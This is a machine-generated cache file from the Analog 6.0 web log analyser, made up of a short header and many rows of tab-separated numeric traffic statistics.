CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	19983	387	17857	45359	30030681
D	27287368	28343458
18949	161	1	0	0
18949	178	2	0	0
18949	186	1	0	0
18949	197	2	0	115
18949	198	1	0	0
18949	200	1	0	0
18949	221	1	0	0
18949	232	1	0	0
18949	238	2	0	115
18949	249	2	0	115
18949	282	2	0	115
18949	283	1	0	0
18949	284	1	0	0
18949	285	1	0	0
18950	8	2	0	416
18950	36	1	0	0
18950	40	1	0	0
18950	59	1	0	0
18950	106	1	0	0
18950	110	2	0	0
18950	142	1	0	0
18950	146	1	0	0
18950	151	1	0	0
18950	162	1	0	0
18950	174	2	0	0
18950	184	1	0	0
18950	207	1	0	0
18950	220	1	0	0
18950	226	1	0	0
18950	228	1	0	0
18950	229	1	0	0
18950	250	1	0	0
18950	261	1	0	0
18950	274	1	0	0
18950	278	1	0	0
18951	21	2	0	115
18951	39	1	0	0
18951	40	2	0	0
18951	62	1	0	0
18951	89	2	0	416
18951	100	1	0	0
18951	212	1	0	0
18951	221	1	0	0
18951	245	1	0	0
18951	258	1	0	0
18951	279	1	0	0
18952	10	2	0	115
18952	46	2	0	0
18952	47	1	0	0
18952	83	1	0	0
18952	86	1	0	0
18952	100	1	0	0
18952	105	1	0	0
18952	142	1	0	0
18952	256	2	0	115
18952	271	1	0	0
18953	15	2	0	416
18953	16	1	0	0
18953	41	2	0	0
18953	87	1	0	0
18953	93	2	0	0
18953	96	1	0	0
18953	119	3	0	115
18953	186	1	0	0
18953	200	2	0	115
18953	220	2	0	115
18953	223	1	0	0
18953	236	2	0	115
18953	270	1	0	0
18953	272	2	0	115
18954	139	1	0	0
18954	142	2	0	416
18954	175	1	0	0
18954	198	1	0	0
18954	205	1	0	115
18954	219	1	0	0
18954	253	1	0	0
18954	270	2	0	115
18955	5	1	0	0
18955	39	1	0	0
18955	46	1	0	0
18955	50	2	0	416
18955	73	3	1	86940
18955	100	2	0	0
18955	116	1	0	0
18955	119	1	0	0
18955	154	1	0	0
18955	160	1	0	0
18955	217	1	0	0
18955	264	1	0	0
18955	270	2	0	0
18956	8	2	0	0
18956	10	5	0	0
18956	16	2	0	115
18956	40	1	0	0
18956	41	1	0	0
18956	43	2	0	0
18956	97	1	0	0
18956	154	2	0	416
18956	173	1	0	0
18956	218	1	0	0
18956	256	2	0	416
18956	257	2	0	0
18956	258	2	0	115
18957	1	1	0	0
18957	37	1	0	0
18957	50	3	0	0
18957	57	1	0	0
18957	177	1	0	0
18957	184	1	0	0
18957	199	2	0	416
18957	218	1	0	0
18957	232	1	0	0
18957	238	1	0	0
18957	247	1	0	0
18957	259	2	0	115
18958	41	1	0	0
18958	48	1	0	0
18958	50	1	0	0
18958	92	1	0	0
18958	101	2	0	115
18958	164	1	0	0
18958	166	3	1	0
18958	217	1	0	0
18958	230	1	0	0
18958	236	2	0	115
18958	251	1	0	0
18958	255	2	0	416
18958	263	3	0	416
18958	282	1	0	0
18959	25	3	0	0
18959	41	1	0	0
18959	67	1	0	0
18959	94	1	0	0
18959	142	2	0	0
18959	147	1	0	0
18959	156	1	0	0
18959	171	1	0	0
18959	172	1	0	0
18959	232	2	0	115
18959	259	1	0	0
18959	279	3	1	86888
18960	17	2	0	0
18960	22	1	0	0
18960	25	1	0	0
18960	36	2	0	0
18960	64	1	0	0
18960	153	1	0	0
18960	189	1	0	0
18960	190	2	0	115
18960	232	2	0	115
18960	235	1	0	0
18960	242	2	0	0
18960	248	2	0	416
18960	271	2	0	115
18960	273	1	0	0
18960	282	1	0	0
18961	23	2	0	0
18961	31	1	0	0
18961	38	2	0	0
18961	55	1	0	0
18961	107	2	0	416
18961	132	2	0	416
18961	180	2	0	115
18961	219	1	0	0
18961	221	1	0	0
18961	236	1	0	0
18961	263	1	0	0
18962	19	1	0	0
18962	27	1	0	0
18962	33	3	0	0
18962	54	1	0	0
18962	85	1	0	0
18962	89	1	0	0
18962	118	3	0	0
18962	119	4	0	0
18962	128	1	0	0
18962	129	1	0	0
18962	153	2	0	115
18962	169	1	0	0
18962	174	1	0	0
18962	208	2	0	115
18962	218	1	0	0
18962	225	1	0	0
18962	230	2	0	115
18962	233	1	0	0
18962	243	2	0	416
18962	271	1	0	0
18962	276	2	0	115
18963	13	1	0	0
18963	14	2	0	0
18963	27	2	0	115
18963	34	1	0	0
18963	39	1	0	0
18963	46	1	0	0
18963	74	2	0	0
18963	77	1	0	0
18963	80	1	0	0
18963	82	1	0	0
18963	83	1	0	0
18963	91	2	0	0
18963	92	1	0	0
18963	119	2	0	115
18963	122	2	0	115
18963	167	2	0	115
18963	172	3	0	115
18963	188	2	0	416
18963	190	1	0	0
18963	198	1	0	115
18963	201	2	0	115
18963	204	1	0	0
18963	207	1	0	0
18963	211	1	0	0
18963	214	1	0	0
18963	216	1	0	0
18963	217	1	0	0
18963	220	1	0	0
18963	223	1	0	0
18963	226	1	0	0
18963	229	1	0	0
18963	232	1	0	0
18963	237	1	0	0
18963	241	1	0	0
18963	244	1	0	0
18963	247	1	0	0
18963	250	1	0	0
18963	253	1	0	0
18963	285	1	0	0
18964	38	1	0	0
18964	40	1	0	0
18964	91	1	0	0
18964	116	1	0	0
18964	163	1	0	0
18964	208	2	0	115
18964	214	1	0	0
18964	219	1	0	0
18964	224	2	0	115
18964	249	1	0	0
18964	252	4	0	0
18964	253	2	0	0
18965	7	1	0	0
18965	22	1	0	0
18965	23	1	0	0
18965	27	3	0	0
18965	36	1	0	0
18965	43	2	0	0
18965	63	1	0	0
18965	66	2	0	0
18965	72	1	0	0
18965	74	1	0	0
18965	119	1	0	0
18965	167	2	0	115
18965	205	1	0	0
18965	209	2	0	416
18965	210	2	0	115
18965	219	1	0	0
18965	230	2	0	416
18965	238	1	0	0
18965	249	1	0	0
18965	281	5	0	0
18965	282	1	0	0
18965	284	1	0	0
18966	7	3	0	0
18966	16	2	0	115
18966	22	1	1	0
18966	25	2	0	115
18966	26	3	3	0
18966	48	1	0	0
18966	61	1	0	0
18966	69	1	0	0
18966	71	1	0	0
18966	84	1	0	0
18966	150	1	0	0
18966	170	2	0	115
18966	206	1	0	0
18966	241	1	0	0
18966	265	1	0	0
18966	283	2	0	416
18966	285	1	0	0
18967	46	2	0	0
18967	48	1	0	0
18967	49	2	0	0
18967	51	1	0	0
18967	65	2	0	115
18967	82	1	0	0
18967	89	1	0	0
18967	130	2	0	0
18967	132	1	0	0
18967	158	2	0	115
18967	177	1	0	0
18968	3	1	0	0
18968	116	2	0	115
18968	126	1	0	0
18968	153	2	0	416
18968	171	1	0	0
18968	173	2	0	0
18968	191	1	0	0
18968	193	2	0	115
18968	205	1	0	0
18968	209	1	0	0
18968	217	1	0	0
18968	266	1	0	0
18968	270	2	0	0
18969	4	2	0	0
18969	9	3	0	0
18969	38	1	0	0
18969	50	1	0	0
18969	57	1	0	0
18969	66	2	0	115
18969	166	1	0	0
18969	211	1	0	0
18969	219	1	0	0
18969	250	1	0	0
18969	271	1	0	0
18970	2	1	0	0
18970	7	1	0	0
18970	9	1	0	0
18970	26	2	0	0
18970	33	2	0	115
18970	34	2	0	416
18970	41	1	0	0
18970	52	6	3	260768
18970	53	3	1	86940
18970	54	1	0	0
18970	55	1	0	0
18970	130	1	0	0
18970	157	2	0	0
18970	158	1	0	0
18970	165	1	0	0
18970	174	1	0	0
18970	186	1	0	0
18970	199	3	0	0
18970	200	1	0	0
18970	218	3	0	0
18970	232	1	0	0
18970	265	2	0	115
18970	268	2	1	86888
18971	10	2	0	0
18971	45	2	0	115
18971	58	2	0	115
18971	80	2	0	416
18971	89	1	0	0
18971	91	1	0	0
18971	92	2	0	115
18971	159	2	0	115
18971	185	1	1	0
18971	188	1	1	0
18971	189	1	0	0
18971	195	1	1	0
18971	196	1	1	0
18971	198	1	0	0
18971	206	1	0	0
18971	220	1	0	0
18971	221	2	0	115
18971	223	1	0	0
18971	242	1	0	0
18971	252	1	0	0
18971	276	1	0	0
18971	286	1	0	0
18972	12	1	0	0
18972	45	1	0	0
18972	67	1	0	0
18972	69	1	0	0
18972	71	1	0	0
18972	100	1	0	0
18972	103	1	0	0
18972	201	2	0	0
18972	204	1	0	0
18972	211	2	0	0
18972	219	1	0	0
18972	245	2	0	115
18972	248	1	0	0
18972	255	3	0	0
18973	25	1	0	0
18973	27	3	0	0
18973	28	3	0	0
18973	29	3	0	0
18973	30	3	0	0
18973	31	4	0	0
18973	32	4	0	0
18973	33	4	0	0
18973	34	1	0	0
18973	35	4	0	0
18973	36	4	0	0
18973	37	3	0	0
18973	38	3	0	0
18973	39	3	0	0
18973	40	5	0	0
18973	41	2	0	0
18973	42	1	0	0
18973	43	3	0	0
18973	44	1	0	0
18973	71	2	0	115
18973	75	1	0	0
18973	91	2	0	0
18973	92	1	0	0
18973	93	1	0	0
18973	100	1	0	0
18973	101	1	0	0
18973	110	2	0	416
18973	117	3	0	0
18973	119	1	0	0
18973	148	1	0	0
18973	163	6	0	1248
18973	164	2	0	0
18973	189	1	0	0
18973	207	1	0	0
18973	269	1	0	0
18974	46	1	0	0
18974	69	1	0	0
18974	70	2	0	0
18974	73	1	0	0
18974	78	1	0	0
18974	114	1	0	0
18974	118	2	0	115
18974	190	2	1	1064
18974	192	1	0	0
18974	206	1	0	0
18974	207	1	0	0
18975	10	1	0	0
18975	11	1	0	0
18975	13	1	0	0
18975	14	2	0	115
18975	16	1	0	0
18975	23	1	0	0
18975	44	1	0	0
18975	88	2	0	0
18975	114	2	0	115
18975	137	1	0	0
18975	168	1	0	0
18975	221	1	0	0
18975	235	1	0	0
18975	250	10	0	1664
18975	278	1	0	0
18976	39	1	0	0
18976	43	1	0	0
18976	56	1	0	0
18976	84	1	0	0
18976	85	2	0	416
18976	139	1	0	0
18976	141	1	0	0
18976	162	1	0	0
18976	179	3	0	0
18976	182	1	0	0
18976	231	1	0	0
18976	259	1	0	0
18976	261	4	0	531
18976	287	1	0	0
18977	12	1	0	0
18977	15	1	0	0
18977	39	1	0	0
18977	44	2	0	115
18977	127	1	0	0
18977	137	1	0	0
18977	179	1	0	0
18977	274	1	0	0
18978	4	2	0	115
18978	44	1	0	0
18978	45	1	0	0
18978	49	1	0	115
18978	50	1	0	0
18978	59	1	0	0
18978	76	1	0	0
18978	79	1	0	0
18978	83	1	0	0
18978	104	2	0	115
18978	149	2	0	0
18978	172	2	0	0
18978	179	1	0	0
18978	259	2	0	115
18978	278	1	0	0
18979	11	1	0	0
18979	43	1	0	0
18979	50	2	0	0
18979	135	1	0	0
18979	150	1	0	0
18979	166	1	0	0
18979	176	2	0	115
18979	231	2	0	0
18980	26	2	0	416
18980	35	1	0	0
18980	37	1	0	0
18980	38	1	0	0
18980	80	2	0	416
18980	103	1	0	0
18980	158	2	0	115
18980	167	1	0	0
18981	1	1	0	0
18981	11	1	0	0
18981	32	1	0	0
18981	43	1	0	0
18981	60	1	0	0
18981	111	2	0	115
18981	118	1	0	0
18981	150	2	0	115
18981	168	1	0	0
18981	185	1	0	0
18981	211	1	0	0
18981	238	1	0	0
18981	266	1	0	0
18982	0	1	0	0
18982	18	1	0	0
18982	21	1	0	0
18982	41	1	0	0
18982	51	2	0	115
18982	83	1	0	0
18982	136	2	0	115
18982	146	1	0	0
18982	163	2	0	1045
18982	167	4	0	2090
18982	214	1	0	0
18982	230	1	0	0
18982	249	1	0	0
18983	6	1	0	0
18983	11	2	0	115
18983	14	1	0	0
18983	37	1	0	0
18983	40	3	0	0
18983	43	1	0	0
18983	47	1	0	0
18983	82	1	0	0
18983	91	1	0	0
18983	94	1	0	0
18983	95	1	1	0
18983	97	1	1	0
18983	100	1	0	0
18983	112	2	0	115
18983	147	1	0	0
18983	151	1	0	0
18983	167	1	0	0
18983	185	1	0	0
18983	268	2	0	416
18984	2	1	0	0
18984	39	1	0	0
18984	40	1	0	0
18984	41	1	0	0
18984	42	1	0	0
18984	43	1	0	0
18984	79	1	0	0
18984	81	1	0	0
18984	84	2	0	115
18984	86	1	0	0
18984	92	1	0	115
18984	114	1	0	0
18984	117	2	0	115
18984	153	2	0	0
18984	154	1	0	0
18984	190	1	0	0
18984	206	2	0	115
18984	224	1	0	0
18984	232	4	0	0
18984	233	5	0	0
18984	234	5	0	0
18984	235	5	0	0
18984	236	7	0	0
18984	237	7	0	0
18984	238	4	0	0
18984	239	5	0	0
18984	240	5	0	0
18984	241	6	0	0
18984	242	3	0	0
18984	256	1	0	0
18984	257	1	0	0
18985	18	2	0	115
18985	42	1	0	0
18985	71	1	0	0
18985	83	1	0	115
18985	120	3	0	0
18985	166	1	0	0
18985	193	1	0	0
18985	232	2	0	416
18985	250	1	0	0
18986	21	2	0	115
18986	26	1	0	0
18986	46	2	0	0
18986	54	1	0	0
18986	111	1	0	0
18986	136	2	0	115
18986	137	3	2	173828
18986	141	1	0	0
18986	147	2	0	115
18986	149	1	0	0
18986	150	1	1	86940
18986	179	2	0	115
18986	198	2	0	115
18986	207	2	0	115
18986	236	1	0	0
18986	237	2	0	0
18986	253	1	0	0
18986	254	2	0	115
18986	278	1	0	0
18987	5	2	0	115
18987	39	2	0	0
18987	40	1	0	0
18987	50	1	0	0
18987	55	1	0	0
18987	77	2	0	0
18987	79	1	0	0
18987	82	2	0	115
18987	87	1	0	0
18987	113	2	0	0
18987	148	2	1	1064
18987	220	1	0	0
18987	282	2	0	115
18988	3	2	0	115
18988	7	1	0	0
18988	39	2	0	0
18988	40	3	0	0
18988	60	1	0	0
18988	62	1	0	0
18988	76	1	0	0
18988	77	1	0	0
18988	78	1	0	0
18988	86	3	0	115
18988	89	1	0	0
18988	95	1	0	0
18988	98	1	0	0
18988	101	1	0	0
18988	104	1	0	0
18988	107	1	0	0
18988	109	1	0	0
18988	110	1	0	0
18988	113	1	0	0
18988	116	1	0	0
18988	119	1	0	0
18988	122	1	0	0
18988	125	1	0	0
18988	128	1	0	0
18988	131	1	0	0
18988	134	1	0	0
18988	137	1	0	0
18988	140	1	0	0
18988	143	1	0	0
18988	146	1	0	0
18988	149	1	0	0
18988	152	1	0	0
18988	155	1	0	0
18988	158	1	0	0
18988	161	1	0	0
18988	164	1	0	0
18988	167	1	0	0
18988	175	1	0	0
18988	185	1	0	0
18988	211	1	0	0
18988	216	1	0	0
18988	217	1	0	0
18988	221	1	0	0
18988	229	1	0	0
18988	230	1	0	0
18988	266	1	0	0
18988	267	2	0	115
18988	281	1	0	0
18988	285	1	0	0
18989	15	1	0	0
18989	70	1	0	0
18989	80	1	0	0
18989	87	2	0	115
18989	160	1	0	0
18989	190	1	0	0
18989	228	1	0	0
18989	254	1	0	0
18989	260	2	0	115
18990	29	2	0	416
18990	43	1	0	0
18990	141	1	0	0
18990	167	1	0	0
18990	179	1	0	0
18990	180	1	0	0
18990	181	1	0	0
18990	216	2	0	115
18990	220	1	0	0
18990	247	2	0	115
18990	253	1	0	0
18990	258	1	0	0
18990	279	1	0	0
18991	41	1	0	0
18991	42	1	0	0
18991	52	2	0	0
18991	53	4	0	0
18991	55	2	0	115
18991	127	2	0	0
18991	129	1	0	0
18991	162	2	0	416
18991	173	1	0	0
18991	176	3	0	0
18991	179	1	0	0
18991	180	2	0	0
18991	195	1	0	0
18991	196	1	0	0
18991	197	1	0	0
18991	199	2	0	0
18991	273	2	0	416
18991	287	1	0	0
18992	13	1	0	0
18992	40	2	1	741
18992	42	1	0	0
18992	46	1	0	0
18992	95	1	0	0
18992	128	1	0	0
18992	146	2	0	115
18992	189	2	0	115
18992	191	1	0	0
18992	192	2	0	115
18992	201	1	0	0
18992	236	1	0	0
18993	12	1	0	0
18993	38	1	0	0
18993	41	1	0	0
18993	55	1	0	0
18993	114	2	0	416
18993	135	2	0	115
18993	237	1	0	0
18993	258	3	0	0
18993	266	1	0	0
18993	269	1	0	0
18993	281	1	0	0
18994	41	1	0	0
18994	55	1	0	0
18994	58	1	0	0
18994	122	2	0	115
18994	181	1	0	0
18994	212	1	0	0
18995	56	3	0	0
18995	57	1	0	0
18995	59	2	0	115
18995	63	1	0	0
18995	92	1	0	0
18995	104	2	0	115
18995	117	1	0	0
18995	152	1	0	0
18995	185	1	0	0
18995	199	2	0	416
18995	248	1	0	0
18996	3	1	0	0
18996	12	2	0	0
18996	24	1	0	0
18996	32	1	0	0
18996	37	2	0	0
18996	39	2	0	0
18996	40	2	0	0
18996	44	1	0	0
18996	55	2	0	0
18996	56	1	0	0
18996	62	1	0	0
18996	70	1	0	0
18996	80	2	0	416
18996	96	3	0	115
18996	105	2	0	115
18996	107	2	0	115
18996	125	1	0	0
18996	167	3	1	727
18996	177	2	0	0
18996	194	2	0	0
18996	199	2	0	115
18996	202	2	0	0
18996	204	1	0	0
18996	209	1	0	0
18996	218	1	0	0
18996	219	1	0	0
18996	227	1	0	0
18996	229	1	0	0
18996	278	1	0	0
18997	49	1	0	0
18997	59	1	0	0
18997	67	2	0	115
18997	78	1	0	0
18997	81	1	0	0
18997	85	1	0	0
18997	90	1	0	0
18997	106	1	0	0
18997	119	1	0	0
18997	135	1	0	0
18997	136	1	0	0
18997	137	1	0	0
18997	162	1	0	0
18997	165	1	0	0
18997	177	1	0	0
18997	186	2	0	0
18997	188	1	0	0
18997	190	1	0	0
18997	194	1	0	0
18997	210	1	0	0
18997	216	1	0	0
18997	222	1	0	0
18997	248	1	0	0
18997	263	1	0	0
18998	0	2	0	115
18998	3	1	0	0
18998	10	4	0	230
18998	35	1	0	0
18998	39	1	0	0
18998	64	1	0	0
18998	73	1	0	0
18998	101	1	0	0
18998	157	1	0	0
18998	185	3	0	115
18998	221	2	0	115
18998	230	1	0	0
18998	240	2	0	115
18998	274	1	0	0
18999	18	2	0	0
18999	19	1	0	0
18999	42	1	0	0
18999	44	1	0	0
18999	72	1	0	0
18999	77	1	0	0
18999	86	1	0	0
18999	100	1	0	0
18999	140	1	0	0
18999	144	2	0	0
18999	146	1	0	0
18999	181	1	0	0
18999	191	2	1	1064
18999	193	1	0	0
18999	195	1	0	0
18999	202	1	0	0
18999	222	2	0	416
18999	226	1	0	0
18999	232	1	0	0
18999	238	1	0	0
18999	281	1	0	0
18999	282	2	0	0
19000	8	1	0	0
19000	46	2	0	0
19000	49	1	0	0
19000	50	1	0	0
19000	61	1	0	0
19000	64	1	0	0
19000	123	1	0	0
19000	156	2	0	115
19000	160	1	0	0
19000	196	1	0	0
19000	207	1	0	0
19000	216	3	0	115
19000	221	2	0	115
19000	248	2	1	741
19000	258	1	0	0
19000	266	1	0	0
19000	275	1	0	0
19001	17	2	1	1064
19001	52	1	0	0
19001	55	1	0	416
19001	56	1	0	0
19001	59	1	0	0
19001	63	2	0	115
19001	67	2	0	0
19001	110	1	0	0
19001	111	1	0	0
19001	114	1	0	0
19001	132	1	0	0
19001	139	1	0	0
19001	146	1	0	0
19001	160	2	1	87668
19001	162	1	0	0
19001	163	1	0	0
19001	168	2	1	87720
19001	169	1	0	0
19001	171	1	0	0
19001	178	1	0	0
19001	179	1	0	0
19001	183	3	1	87720
19001	187	1	0	0
19001	188	1	0	0
19001	193	1	0	0
19001	219	1	0	0
19001	223	1	0	0
19001	228	1	0	0
19001	232	1	0	0
19001	270	2	0	115
19002	35	1	0	0
19002	39	1	0	0
19002	58	1	0	0
19002	88	2	1	741
19002	92	1	0	0
19002	136	1	0	0
19002	144	1	0	0
19002	145	2	0	115
19002	165	2	1	87718
19002	206	1	0	0
19002	220	2	2	0
19002	222	2	1	0
19002	226	1	0	0
19002	231	1	0	0
19002	242	1	0	0
19002	245	3	0	115
19002	258	2	0	416
19003	46	2	0	115
19003	51	2	0	230
19003	67	2	0	0
19003	71	1	0	0
19003	93	1	0	0
19003	103	2	0	115
19003	114	1	0	0
19003	217	1	0	0
19003	226	1	0	0
19004	0	1	0	0
19004	6	1	0	0
19004	73	1	0	0
19004	82	1	0	0
19004	117	2	0	115
19004	141	2	0	115
19004	146	1	0	0
19004	147	1	0	0
19004	161	2	0	115
19004	166	1	0	0
19004	185	1	0	0
19004	187	1	0	0
19004	192	2	0	115
19004	196	1	0	0
19004	217	1	0	0
19004	232	1	0	0
19004	252	1	0	0
19004	258	2	0	0
19004	270	1	0	0
19005	12	1	0	0
19005	33	2	0	0
19005	35	1	0	0
19005	44	1	0	0
19005	47	1	0	0
19005	50	1	0	0
19005	53	2	0	115
19005	61	1	0	0
19005	71	1	0	0
19005	80	1	0	0
19005	85	1	0	0
19005	97	1	0	0
19005	116	2	0	115
19005	142	1	0	0
19005	143	2	0	115
19005	166	3	1	764
19005	175	1	0	0
19005	179	1	0	0
19005	181	3	0	115
19005	186	1	0	0
19005	187	1	0	0
19005	189	1	0	0
19005	190	1	0	0
19005	213	1	0	0
19005	244	1	0	0
19005	246	1	0	0
19005	247	2	1	0
19005	248	1	0	0
19005	249	2	1	0
19005	258	4	2	0
19005	260	2	1	0
19005	273	1	0	0
19006	3	3	0	115
19006	7	1	0	0
19006	36	1	0	0
19006	50	1	0	0
19006	65	3	0	230
19006	85	2	0	115
19006	131	1	0	0
19006	146	1	0	0
19006	150	1	0	0
19006	153	1	0	0
19006	156	1	0	0
19006	159	1	0	0
19006	161	1	0	0
19006	184	1	0	0
19006	193	1	0	0
19006	201	1	0	0
19006	208	1	0	0
19006	237	1	0	0
19006	250	1	0	0
19006	260	1	0	0
19006	262	1	0	0
19006	265	1	0	0
19006	272	2	0	115
19007	8	1	0	0
19007	11	2	0	0
19007	19	1	0	0
19007	21	2	0	115
19007	24	1	0	0
19007	25	1	0	0
19007	38	1	0	0
19007	45	1	0	0
19007	72	2	0	0
19007	73	2	0	0
19007	74	2	0	0
19007	83	1	0	0
19007	85	1	0	0
19007	106	1	0	0
19007	149	1	0	0
19007	150	1	0	0
19007	156	2	0	0
19007	158	2	0	115
19007	164	1	0	0
19007	196	1	0	0
19007	203	1	0	0
19007	221	1	0	0
19007	226	3	0	0
19007	247	1	0	0
19007	252	2	0	115
19007	257	1	0	0
19007	262	1	0	0
19007	284	2	0	115
19008	7	2	0	115
19008	17	1	0	0
19008	27	2	0	115
19008	52	1	0	0
19008	70	1	0	0
19008	103	2	0	0
19008	121	1	0	0
19008	124	2	0	0
19008	132	1	0	0
19008	145	1	0	0
19008	159	3	1	87668
19008	174	1	0	0
19008	186	1	0	0
19008	187	1	0	0
19009	14	1	0	0
19009	33	2	0	115
19009	48	1	0	0
19009	56	1	0	0
19009	60	1	0	0
19009	77	1	0	0
19009	121	2	0	115
19009	136	1	0	0
19009	166	4	0	115
19009	170	1	0	0
19009	196	1	0	0
19009	201	2	0	0
19009	210	1	0	0
19009	213	2	0	0
19009	244	1	0	0
19009	248	1	0	0
19009	252	1	0	0
19009	263	1	0	0
19009	272	1	0	0
19009	283	1	0	0
19010	0	2	0	416
19010	19	1	0	0
19010	24	2	0	115
19010	37	1	0	0
19010	63	2	0	115
19010	126	2	0	115
19010	130	1	0	0
19010	164	1	0	0
19010	168	1	0	0
19010	169	1	0	0
19010	195	1	0	0
19010	196	2	0	115
19010	224	1	0	0
19010	225	1	0	0
19010	240	1	0	0
19010	246	1	0	0
19010	249	1	0	0
19010	251	1	0	0
19010	253	1	0	0
19010	275	1	0	0
19010	281	1	0	0
19011	20	1	0	0
19011	22	1	0	0
19011	28	1	0	0
19011	91	1	0	0
19011	108	2	1	87668
19011	111	2	1	87668
19011	119	2	1	87720
19011	120	3	1	87668
19011	124	2	1	87668
19011	132	2	1	87668
19011	135	2	1	87668
19011	138	2	1	87720
19011	142	2	0	115
19011	151	3	0	115
19011	164	1	0	0
19011	168	2	0	115
19011	214	2	0	416
19011	224	1	0	0
19011	230	2	0	115
19011	238	1	0	0
19011	244	1	0	0
19011	245	3	0	0
19011	247	2	0	0
19011	249	2	0	0
19011	250	4	0	0
19011	251	1	0	0
19011	266	2	0	0
19011	271	1	0	0
19012	3	1	0	0
19012	7	1	0	0
19012	43	1	0	0
19012	68	2	0	115
19012	86	1	0	0
19012	90	1	0	0
19012	105	1	0	0
19012	107	1	0	0
19012	115	2	0	115
19012	124	1	0	0
19012	126	2	0	115
19012	169	1	0	0
19012	175	1	0	0
19012	192	1	0	0
19012	202	2	0	115
19012	207	1	0	0
19012	219	1	0	0
19012	236	1	0	0
19012	257	1	0	0
19012	259	2	0	0
19012	275	1	0	0
19012	287	1	0	0
19013	11	1	0	0
19013	39	1	0	0
19013	41	3	0	0
19013	42	2	0	0
19013	43	3	0	0
19013	49	1	0	0
19013	50	1	0	0
19013	51	5	0	0
19013	52	3	0	0
19013	53	1	0	0
19013	85	1	0	0
19013	87	2	0	115
19013	92	1	0	0
19013	93	1	0	0
19013	95	1	0	0
19013	99	1	0	0
19013	100	3	0	115
19013	109	1	0	0
19013	119	1	0	0
19013	127	1	0	0
19013	128	1	0	0
19013	129	1	0	0
19013	135	2	0	416
19013	140	3	0	0
19013	183	2	0	115
19013	204	1	0	0
19013	207	1	0	0
19013	221	2	0	0
19013	236	1	0	0
19013	237	1	0	0
19013	239	1	0	0
19013	243	1	0	0
19013	255	2	0	0
19013	271	2	0	115
19013	281	1	0	0
19014	43	1	0	0
19014	64	1	0	0
19014	94	2	0	115
19014	100	1	0	0
19014	110	1	0	0
19014	113	2	0	115
19014	147	1	0	0
19014	173	2	0	115
19014	227	1	0	0
19014	228	1	0	0
19014	236	1	0	0
19014	261	4	0	230
19014	262	2	0	115
19014	279	1	0	0
19015	65	2	0	416
19015	66	1	0	0
19015	68	1	0	0
19015	87	1	0	0
19015	88	3	1	87720
19015	89	4	1	87783
19015	99	1	0	0
19015	102	2	1	87720
19015	126	1	0	0
19015	143	1	0	0
19015	153	1	0	0
19015	154	2	1	87720
19015	160	1	0	0
19015	174	1	0	0
19015	189	1	0	0
19015	195	11	0	1664
19015	197	9	0	2080
19015	198	2	0	416
19015	200	8	0	2080
19015	202	6	0	1664
19015	211	1	0	0
19015	226	1	0	0
19015	251	3	0	115
19015	261	1	0	0
19015	268	2	0	115
19016	70	1	0	0
19016	97	1	0	0
19016	119	1	0	0
19016	123	1	0	0
19016	132	1	0	0
19016	140	2	0	0
19016	141	4	0	0
19016	149	1	0	0
19016	172	1	0	0
19016	190	2	0	115
19016	194	2	1	87668
19016	237	2	0	115
19016	267	2	0	0
19016	268	1	0	0
19016	273	1	0	0
19016	274	23	0	6240
19017	0	2	0	416
19017	22	1	0	0
19017	77	2	0	115
19017	78	3	0	115
19017	84	1	0	0
19017	97	1	0	0
19017	182	1	0	0
19017	198	1	0	0
19017	213	1	0	0
19017	248	1	0	0
19017	286	1	0	0
19018	4	1	0	0
19018	10	1	0	0
19018	58	3	1	87668
19018	90	1	0	0
19018	98	1	0	416
19018	99	1	0	0
19018	103	1	0	0
19018	104	1	0	0
19018	112	3	0	0
19018	115	1	0	0
19018	124	1	0	0
19018	128	1	0	0
19018	130	1	0	0
19018	131	1	0	0
19018	137	1	0	0
19018	147	1	0	0
19018	178	1	0	0
19018	186	1	0	0
19018	187	2	0	0
19018	195	1	0	0
19018	202	1	0	0
19018	206	2	0	115
19018	221	1	0	0
19018	227	1	0	0
19018	235	1	0	0
19018	237	2	0	416
19018	247	1	0	0
19019	30	1	0	0
19019	31	1	0	0
19019	39	1	0	0
19019	47	2	0	115
19019	59	1	0	0
19019	70	1	0	0
19019	74	1	0	0
19019	87	2	0	0
19019	96	4	2	2132346
19019	104	1	0	0
19019	128	2	0	0
19019	130	1	0	0
19019	156	1	0	0
19019	170	1	0	0
19019	181	1	0	0
19019	187	1	0	0
19019	195	1	0	0
19019	202	1	0	0
19019	236	2	0	115
19019	242	1	0	0
19019	243	3	0	0
19020	33	1	0	0
19020	38	1	0	0
19020	40	2	0	0
19020	52	2	1	0
19020	56	2	0	115
19020	61	2	1	0
19020	64	1	0	0
19020	127	1	0	0
19020	150	3	0	0
19020	152	1	0	0
19020	186	2	0	416
19020	199	1	0	0
19020	206	3	0	0
19020	211	1	0	0
19020	223	1	0	0
19020	225	2	0	1066173
19020	235	1	0	0
19020	250	1	0	0
19020	252	2	0	0
19020	266	1	0	0
19020	278	1	0	0
19021	31	2	0	0
19021	38	1	0	0
19021	39	2	0	115
19021	75	1	0	0
19021	92	1	0	0
19021	93	1	0	0
19021	95	3	2	2132346
19021	112	1	0	0
19021	118	2	0	115
19021	132	1	0	0
19021	144	2	0	115
19021	152	1	0	0
19021	157	1	0	0
19021	170	1	0	0
19021	181	1	0	0
19021	191	1	0	0
19021	196	1	0	0
19021	207	1	0	0
19021	259	2	1	1064
19021	271	1	0	0
19021	272	1	0	0
19021	278	1	0	0
19021	285	1	0	0
19022	3	2	0	115
19022	14	1	0	0
19022	16	1	0	0
19022	63	1	0	0
19022	81	2	0	1066173
19022	87	1	0	0
19022	119	1	0	0
19022	132	1	0	0
19022	136	1	0	0
19022	137	2	0	115
19022	138	2	0	416
19022	168	1	0	0
19022	216	1	0	0
19023	31	1	0	0
19023	46	20	0	1410
19023	51	2	0	115
19023	63	1	0	0
19023	124	1	0	0
19023	152	1	0	0
19023	198	1	0	0
19023	206	1	0	0
19023	239	1	0	0
19023	241	2	0	115
19023	242	2	0	0
19023	272	1	0	0
19023	280	1	0	0
19024	7	2	0	0
19024	8	1	0	0
19024	25	1	0	0
19024	40	1	0	0
19024	41	2	0	0
19024	46	20	0	1410
19024	58	1	0	0
19024	77	1	0	0
19024	97	1	0	0
19024	109	2	0	115
19024	115	2	0	416
19024	129	3	0	115
19024	135	1	0	0
19024	146	2	0	1066173
19024	148	1	0	0
19024	151	1	0	0
19024	154	1	0	0
19024	179	1	0	0
19024	196	1	0	0
19024	208	2	0	115
19024	246	1	0	0
19024	253	1	0	0
19025	17	1	0	0
19025	38	1	0	0
19025	46	20	0	1410
19025	51	2	0	0
19025	57	2	0	115
19025	73	1	0	0
19025	86	1	0	0
19025	97	1	0	0
19025	99	2	0	0
19025	156	1	0	0
